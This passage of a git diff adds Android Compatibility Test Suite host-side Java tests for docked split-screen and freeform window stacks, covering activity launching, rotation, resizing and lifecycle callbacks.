+            assertTrue("Physical display density must be reported", physicalDensityFound);
+
+            return result;
+        }
+    }
+
+    /** Assert that component received onMovedToDisplay and onConfigurationChanged callbacks. */
+    private void assertMovedToDisplay(String componentName, String logSeparator) throws Exception {
+        final ActivityLifecycleCounts lifecycleCounts
+                = new ActivityLifecycleCounts(componentName, logSeparator);
+        if (lifecycleCounts.mDestroyCount != 0) {
+            fail(componentName + " has been destroyed " + lifecycleCounts.mDestroyCount
+                    + " time(s), wasn't expecting any");
+        } else if (lifecycleCounts.mCreateCount != 0) {
+            fail(componentName + " has been (re)created " + lifecycleCounts.mCreateCount
+                    + " time(s), wasn't expecting any");
+        } else if (lifecycleCounts.mConfigurationChangedCount != 1) {
+            fail(componentName + " has received "
+                    + lifecycleCounts.mConfigurationChangedCount
+                    + " onConfigurationChanged() calls, expecting " + 1);
+        } else if (lifecycleCounts.mMovedToDisplayCount != 1) {
+            fail(componentName + " has received "
+                    + lifecycleCounts.mMovedToDisplayCount
+                    + " onMovedToDisplay() calls, expecting " + 1);
+        }
+    }
+
+    private static String getResizeVirtualDisplayCommand() {
+        return getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY) + " -f 0x20000000" +
+                " --es command resize_display";
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
new file mode 100644
index 0000000..5a49af7
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
@@ -0,0 +1,575 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import com.android.ddmlib.Log.LogLevel;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import java.awt.Rectangle;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerDockedStackTests
+ */
+public class ActivityManagerDockedStackTests extends ActivityManagerTestBase {
+
+    private static final String TEST_ACTIVITY_NAME = "TestActivity";
+    private static final String FINISHABLE_ACTIVITY_NAME = "FinishableActivity";
+    private static final String NON_RESIZEABLE_ACTIVITY_NAME = "NonResizeableActivity";
+    private static final String DOCKED_ACTIVITY_NAME = "DockedActivity";
+    private static final String NO_RELAUNCH_ACTIVITY_NAME = "NoRelaunchActivity";
+    private static final String SINGLE_INSTANCE_ACTIVITY_NAME = "SingleInstanceActivity";
+    private static final String SINGLE_TASK_ACTIVITY_NAME = "SingleTaskActivity";
+
+    private static final int TASK_SIZE = 600;
+    private static final int STACK_SIZE = 300;
+
+    public void testMinimumDeviceSize() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
+            return;
+        }
+
+        mAmWmState.assertDeviceDefaultDisplaySize(mDevice,
+                "Devices supporting multi-window must be larger than the default minimum"
+                        + " task size");
+    }
+
+    public void testStackList() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivity(TEST_ACTIVITY_NAME);
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+        mAmWmState.assertContainsStack("Must contain home stack.", HOME_STACK_ID);
+        mAmWmState.assertContainsStack(
+                "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
+        mAmWmState.assertDoesNotContainStack("Must not contain docked stack.", DOCKED_STACK_ID);
+    }
+
+    public void testDockActivity() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(TEST_ACTIVITY_NAME);
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+        mAmWmState.assertContainsStack("Must contain home stack.", HOME_STACK_ID);
+        mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
+    }
+
+    public void testNonResizeableNotDocked() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(NON_RESIZEABLE_ACTIVITY_NAME);
+        mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
+
+        mAmWmState.assertContainsStack("Must contain home stack.", HOME_STACK_ID);
+        mAmWmState.assertDoesNotContainStack("Must not contain docked stack.", DOCKED_STACK_ID);
+        mAmWmState.assertFrontStack(
+                "Fullscreen stack must be front stack.", FULLSCREEN_WORKSPACE_STACK_ID);
+    }
+
+    public void testLaunchToSide() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+        getLaunchActivityBuilder().setToSide(true).execute();
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+        mAmWmState.assertContainsStack(
+                "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
+        mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
+    }
+
+    public void testLaunchToSideMultiWindowCallbacks() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
+            return;
+        }
+
+        // Launch two activities, one docked, one adjacent
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+        getLaunchActivityBuilder().setToSide(true).execute();
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+        mAmWmState.assertContainsStack(
+                "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
+        mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
+
+        // Remove the docked stack, and ensure that
+        final String logSeparator = clearLogcat();
+        removeStacks(DOCKED_STACK_ID);
+        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(
+                TEST_ACTIVITY_NAME, logSeparator);
+        if (lifecycleCounts.mMultiWindowModeChangedCount != 1) {
+            fail(TEST_ACTIVITY_NAME + " has received "
+                    + lifecycleCounts.mMultiWindowModeChangedCount
+                    + " onMultiWindowModeChanged() calls, expecting 1");
+        }
+    }
+
+    public void testLaunchToSideAndBringToFront() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        final String[] waitForFirstVisible = new String[] {TEST_ACTIVITY_NAME};
+        final String[] waitForSecondVisible = new String[] {NO_RELAUNCH_ACTIVITY_NAME};
+        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+
+        // Launch activity to side.
+        getLaunchActivityBuilder().setToSide(true).execute();
+        mAmWmState.computeState(mDevice, waitForFirstVisible);
+        int taskNumberInitial = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
+                .getTasks().size();
+        mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
+                TEST_ACTIVITY_NAME);
+
+        // Launch another activity to side to cover first one.
+        launchActivityInStack(NO_RELAUNCH_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
+        mAmWmState.computeState(mDevice, waitForSecondVisible);
+        int taskNumberCovered = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
+                .getTasks().size();
+        mAmWmState.assertEquals("Fullscreen stack must have one task added.",
+                taskNumberInitial + 1, taskNumberCovered);
+        mAmWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
+                NO_RELAUNCH_ACTIVITY_NAME);
+
+        // Launch activity that was first launched to side. It should be brought to front.
+        getLaunchActivityBuilder().setToSide(true).execute();
+        mAmWmState.computeState(mDevice, waitForFirstVisible);
+        int taskNumberFinal = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
+                .getTasks().size();
+        mAmWmState.assertEquals("Task number in fullscreen stack must remain the same.",
+                taskNumberCovered, taskNumberFinal);
+        mAmWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
+                TEST_ACTIVITY_NAME);
+    }
+
+    public void testLaunchToSideMultiple() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+        final String[] waitForActivitiesVisible =
+            new String[] {TEST_ACTIVITY_NAME, LAUNCHING_ACTIVITY};
+
+        // Launch activity to side.
+        getLaunchActivityBuilder().setToSide(true).execute();
+        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+        int taskNumberInitial = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
+                .getTasks().size();
+        mAmWmState.assertNotNull("Launched to side activity must be in fullscreen stack.",
+                mAmWmState.getAmState()
+                        .getTaskByActivityName(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID));
+
+        // Try to launch to side same activity again.
+        getLaunchActivityBuilder().setToSide(true).execute();
+        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+        int taskNumberFinal = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
+                .getTasks().size();
+        mAmWmState.assertEquals("Task number mustn't change.", taskNumberInitial, taskNumberFinal);
+        mAmWmState.assertFocusedActivity("Launched to side activity must remain in front.",
+                TEST_ACTIVITY_NAME);
+        mAmWmState.assertNotNull("Launched to side activity must remain in fullscreen stack.",
+                mAmWmState.getAmState()
+                        .getTaskByActivityName(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID));
+    }
+
+    public void testLaunchToSideSingleInstance() throws Exception {
+        launchTargetToSide(SINGLE_INSTANCE_ACTIVITY_NAME, false);
+    }
+
+    public void testLaunchToSideSingleTask() throws Exception {
+        launchTargetToSide(SINGLE_TASK_ACTIVITY_NAME, false);
+    }
+
+    public void testLaunchToSideMultipleWithDifferentIntent() throws Exception {
+        launchTargetToSide(TEST_ACTIVITY_NAME, true);
+    }
+
+    private void launchTargetToSide(String targetActivityName,
+                                    boolean taskCountMustIncrement) throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+
+        final String[] waitForActivitiesVisible =
+            new String[] {targetActivityName, LAUNCHING_ACTIVITY};
+
+        // Launch activity to side with data.
+        launchActivityToSide(true, false, targetActivityName);
+        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+        mAmWmState.assertContainsStack(
+                "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
+        int taskNumberInitial = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
+                .getTasks().size();
+        mAmWmState.assertNotNull("Launched to side activity must be in fullscreen stack.",
+                mAmWmState.getAmState()
+                        .getTaskByActivityName(targetActivityName, FULLSCREEN_WORKSPACE_STACK_ID));
+
+        // Try to launch to side same activity again with different data.
+        launchActivityToSide(true, false, targetActivityName);
+        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+        int taskNumberSecondLaunch = mAmWmState.getAmState()
+                .getStackById(FULLSCREEN_WORKSPACE_STACK_ID).getTasks().size();
+        if (taskCountMustIncrement) {
+            mAmWmState.assertEquals("Task number must be incremented.", taskNumberInitial + 1,
+                    taskNumberSecondLaunch);
+        } else {
+            mAmWmState.assertEquals("Task number must not change.", taskNumberInitial,
+                    taskNumberSecondLaunch);
+        }
+        mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
+                targetActivityName);
+        mAmWmState.assertNotNull("Launched to side activity must be launched in fullscreen stack.",
+                mAmWmState.getAmState()
+                        .getTaskByActivityName(targetActivityName, FULLSCREEN_WORKSPACE_STACK_ID));
+
+        // Try to launch to side same activity again with no data.
+        launchActivityToSide(false, false, targetActivityName);
+        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+        int taskNumberFinal = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
+                .getTasks().size();
+        if (taskCountMustIncrement) {
+            mAmWmState.assertEquals("Task number must be incremented.", taskNumberSecondLaunch + 1,
+                    taskNumberFinal);
+        } else {
+            mAmWmState.assertEquals("Task number must not change.", taskNumberSecondLaunch,
+                    taskNumberFinal);
+        }
+        mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
+                targetActivityName);
+        mAmWmState.assertNotNull("Launched to side activity must be launched in fullscreen stack.",
+                mAmWmState.getAmState()
+                        .getTaskByActivityName(targetActivityName, FULLSCREEN_WORKSPACE_STACK_ID));
+    }
+
+    public void testLaunchToSideMultipleWithFlag() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+        final String[] waitForActivitiesVisible =
+            new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
+
+        // Launch activity to side.
+        getLaunchActivityBuilder().setToSide(true).execute();
+        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+        int taskNumberInitial = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
+                .getTasks().size();
+        mAmWmState.assertNotNull("Launched to side activity must be in fullscreen stack.",
+                mAmWmState.getAmState()
+                        .getTaskByActivityName(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID));
+
+        // Try to launch to side same activity again, but with Intent#FLAG_ACTIVITY_MULTIPLE_TASK.
+        getLaunchActivityBuilder().setToSide(true).setMultipleTask(true).execute();
+        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+        int taskNumberFinal = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
+                .getTasks().size();
+        mAmWmState.assertEquals("Task number must be incremented.", taskNumberInitial + 1,
+                taskNumberFinal);
+        mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
+                TEST_ACTIVITY_NAME);
+        mAmWmState.assertNotNull("Launched to side activity must remain in fullscreen stack.",
+                mAmWmState.getAmState()
+                        .getTaskByActivityName(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID));
+    }
+
+    public void testRotationWhenDocked() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+        getLaunchActivityBuilder().setToSide(true).execute();
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+        mAmWmState.assertContainsStack(
+                "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
+        mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
+
+        // Rotate device single steps (90°) 0-1-2-3.
+        // Each time we compute the state we implicitly assert valid bounds.
+        String[] waitForActivitiesVisible =
+            new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
+        for (int i = 0; i < 4; i++) {
+            setDeviceRotation(i);
+            mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+        }
+        // Double steps (180°) We ended the single step at 3. So, we jump directly to 1 for double
+        // step. So, we are testing 3-1-3 for one side and 0-2-0 for the other side.
+        setDeviceRotation(1);
+        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+        setDeviceRotation(3);
+        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+        setDeviceRotation(0);
+        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+        setDeviceRotation(2);
+        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+        setDeviceRotation(0);
+        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+    }
+
+    public void testRotationWhenDockedWhileLocked() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+        getLaunchActivityBuilder().setToSide(true).execute();
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+        mAmWmState.assertSanity();
+        mAmWmState.assertContainsStack(
+                "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
+        mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
+
+        String[] waitForActivitiesVisible =
+            new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
+        for (int i = 0; i < 4; i++) {
+            sleepDevice();
+            setDeviceRotation(i);
+            wakeUpAndUnlockDevice();
+            mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+        }
+    }
+
+    public void testRotationWhileDockMinimized() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStackAndMinimize(TEST_ACTIVITY_NAME);
+        assertDockMinimized();
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+        mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
+        mAmWmState.assertFocusedStack("Home activity should be focused in minimized mode",
+                HOME_STACK_ID);
+
+        // Rotate device single steps (90°) 0-1-2-3.
+        // Each time we compute the state we implicitly assert valid bounds in minimized mode.
+        String[] waitForActivitiesVisible = new String[] {TEST_ACTIVITY_NAME};
+        for (int i = 0; i < 4; i++) {
+            setDeviceRotation(i);
+            mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+        }
+
+        // Double steps (180°) We ended the single step at 3. So, we jump directly to 1 for double
+        // step. So, we are testing 3-1-3 for one side and 0-2-0 for the other side in minimized
+        // mode.
+        setDeviceRotation(1);
+        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+        setDeviceRotation(3);
+        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+        setDeviceRotation(0);
+        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+        setDeviceRotation(2);
+        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+        setDeviceRotation(0);
+        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+    }
+
+    public void testFinishDockActivityWhileMinimized() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStackAndMinimize(FINISHABLE_ACTIVITY_NAME);
+        assertDockMinimized();
+
+        runCommandAndPrintOutput("am broadcast -a 'android.server.cts.FinishableActivity.finish'");
+        waitForDockNotMinimized();
+        mAmWmState.assertVisibility(FINISHABLE_ACTIVITY_NAME, false);
+        assertDockNotMinimized();
+    }
+
+    public void testDockedStackToMinimizeWhenUnlocked() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(TEST_ACTIVITY_NAME);
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+        sleepDevice();
+        wakeUpAndUnlockDevice();
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+        assertDockMinimized();
+    }
+
+    public void testMinimizedStateWhenUnlockedAndUnMinimized() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStackAndMinimize(FINISHABLE_ACTIVITY_NAME);
+        assertDockMinimized();
+
+        sleepDevice();
+        wakeUpAndUnlockDevice();
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+
+        // Unminimized back to splitscreen
+        pressAppSwitchButton();
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+    }
+
+    public void testResizeDockedStack() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(DOCKED_ACTIVITY_NAME);
+        mAmWmState.computeState(mDevice, new String[] {DOCKED_ACTIVITY_NAME});
+        launchActivityInStack(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+        resizeDockedStack(STACK_SIZE, STACK_SIZE, TASK_SIZE, TASK_SIZE);
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME, DOCKED_ACTIVITY_NAME},
+                false /* compareTaskAndStackBounds */);
+        mAmWmState.assertContainsStack("Must contain docked stack", DOCKED_STACK_ID);
+        mAmWmState.assertContainsStack("Must contain fullscreen stack",
+                FULLSCREEN_WORKSPACE_STACK_ID);
+        assertEquals(new Rectangle(0, 0, STACK_SIZE, STACK_SIZE),
+                mAmWmState.getAmState().getStackById(DOCKED_STACK_ID).getBounds());
+        mAmWmState.assertDockedTaskBounds(TASK_SIZE, TASK_SIZE, DOCKED_ACTIVITY_NAME);
+        mAmWmState.assertVisibility(DOCKED_ACTIVITY_NAME, true);
+        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true);
+    }
+
+    public void testActivityLifeCycleOnResizeDockedStack() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
+            return;
+        }
+
+        final String[] waitTestActivityName = new String[] {TEST_ACTIVITY_NAME};
+        launchActivity(TEST_ACTIVITY_NAME);
+        mAmWmState.computeState(mDevice, waitTestActivityName);
+        final Rectangle fullScreenBounds =
+                mAmWmState.getWmState().getStack(FULLSCREEN_WORKSPACE_STACK_ID).getBounds();
+
+        moveActivityToDockStack(TEST_ACTIVITY_NAME);
+        mAmWmState.computeState(mDevice, waitTestActivityName);
+        launchActivityInStack(NO_RELAUNCH_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
+
+        mAmWmState.computeState(mDevice,
+                new String[]{TEST_ACTIVITY_NAME, NO_RELAUNCH_ACTIVITY_NAME});
+        final Rectangle initialDockBounds =
+                mAmWmState.getWmState().getStack(DOCKED_STACK_ID).getBounds();
+
+        final String logSeparator = clearLogcat();
+
+        Rectangle newBounds = computeNewDockBounds(fullScreenBounds, initialDockBounds, true);
+        resizeDockedStack(newBounds.width, newBounds.height, newBounds.width, newBounds.height);
+        mAmWmState.computeState(mDevice,
+                new String[]{TEST_ACTIVITY_NAME, NO_RELAUNCH_ACTIVITY_NAME});
+
+        // We resize twice to make sure we cross an orientation change threshold for both
+        // activities.
+        newBounds = computeNewDockBounds(fullScreenBounds, initialDockBounds, false);
+        resizeDockedStack(newBounds.width, newBounds.height, newBounds.width, newBounds.height);
+        mAmWmState.computeState(mDevice,
+                new String[]{TEST_ACTIVITY_NAME, NO_RELAUNCH_ACTIVITY_NAME});
+        assertActivityLifecycle(TEST_ACTIVITY_NAME, true /* relaunched */, logSeparator);
+        assertActivityLifecycle(NO_RELAUNCH_ACTIVITY_NAME, false /* relaunched */, logSeparator);
+    }
+
+    private Rectangle computeNewDockBounds(
+            Rectangle fullscreenBounds, Rectangle dockBounds, boolean reduceSize) {
+        final boolean inLandscape = fullscreenBounds.width > dockBounds.width;
+        // We are either increasing size or reducing it.
+        final float sizeChangeFactor = reduceSize ? 0.5f : 1.5f;
+        final Rectangle newBounds = new Rectangle(dockBounds);
+        if (inLandscape) {
+            // In landscape we change the width.
+            newBounds.width *= sizeChangeFactor;
+        } else {
+            // In portrait we change the height
+            newBounds.height *= sizeChangeFactor;
+        }
+
+        return newBounds;
+    }
+
+    public void testStackListOrderLaunchDockedActivity() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(TEST_ACTIVITY_NAME);
+        mAmWmState.computeState(mDevice, new String[]{TEST_ACTIVITY_NAME});
+
+        final int homeStackIndex = mAmWmState.getStackPosition(HOME_STACK_ID);
+        final int recentsStackIndex = mAmWmState.getStackPosition(RECENTS_STACK_ID);
+        assertTrue("Recents stack should be on top of home stack",
+                recentsStackIndex < homeStackIndex);
+    }
+
+    private void launchActivityInDockStackAndMinimize(String activityName) throws Exception {
+        launchActivityInDockStack(activityName);
+        pressHomeButton();
+        waitForDockMinimized();
+    }
+
+    private void assertDockMinimized() {
+        assertTrue(mAmWmState.getWmState().isDockedStackMinimized());
+    }
+
+    private void assertDockNotMinimized() {
+        assertFalse(mAmWmState.getWmState().isDockedStackMinimized());
+    }
+
+    private void waitForDockMinimized() throws Exception {
+        mAmWmState.waitForWithWmState(mDevice, state -> state.isDockedStackMinimized(),
+                "***Waiting for Dock stack to be minimized");
+    }
+
+    private void waitForDockNotMinimized() throws Exception {
+        mAmWmState.waitForWithWmState(mDevice, state -> !state.isDockedStackMinimized(),
+                "***Waiting for Dock stack to not be minimized");
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerFreeformStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerFreeformStackTests.java
new file mode 100644
index 0000000..df583d9
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerFreeformStackTests.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.server.cts.ActivityManagerState.ActivityStack;
+import android.server.cts.ActivityManagerState.ActivityTask;
+
+import java.awt.Rectangle;
+import java.util.ArrayList;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerFreeformStackTests
+ */
+public class ActivityManagerFreeformStackTests extends ActivityManagerTestBase {
+
+    private static final String TEST_ACTIVITY = "TestActivity";
+    private static final int TEST_TASK_OFFSET = 20;
+    private static final int TEST_TASK_OFFSET_2 = 100;
+    private static final int TEST_TASK_SIZE_1 = 900;
+    private static final int TEST_TASK_SIZE_2 = TEST_TASK_SIZE_1 * 2;
+    // NOTE: Launching the FreeformActivity will automatically launch the TestActivity
+    // with bounds (0, 0, 900, 900)
+    private static final String FREEFORM_ACTIVITY = "FreeformActivity";
+    private static final String NON_RESIZEABLE_ACTIVITY = "NonResizeableActivity";
+    private static final String NO_RELAUNCH_ACTIVITY = "NoRelaunchActivity";
+
+    public void testFreeformWindowManagementSupport() throws Exception {
+
+        launchActivityInStack(FREEFORM_ACTIVITY, FREEFORM_WORKSPACE_STACK_ID);
+
+        mAmWmState.computeState(mDevice, new String[] {FREEFORM_ACTIVITY, TEST_ACTIVITY});
+
+        if (!supportsFreeform()) {
+            mAmWmState.assertDoesNotContainStack(
+                    "Must not contain freeform stack.", FREEFORM_WORKSPACE_STACK_ID);
+            return;
+        }
+
+        mAmWmState.assertFrontStack(
+                "Freeform stack must be the front stack.", FREEFORM_WORKSPACE_STACK_ID);
+        mAmWmState.assertVisibility(FREEFORM_ACTIVITY, true);
+        mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+        mAmWmState.assertFocusedActivity(
+                TEST_ACTIVITY + " must be focused Activity", TEST_ACTIVITY);
+        assertEquals(new Rectangle(0, 0, TEST_TASK_SIZE_1, TEST_TASK_SIZE_1),
+                mAmWmState.getAmState().getTaskByActivityName(TEST_ACTIVITY).getBounds());
+    }
+
+    public void testNonResizeableActivityHasFullDisplayBounds() throws Exception {
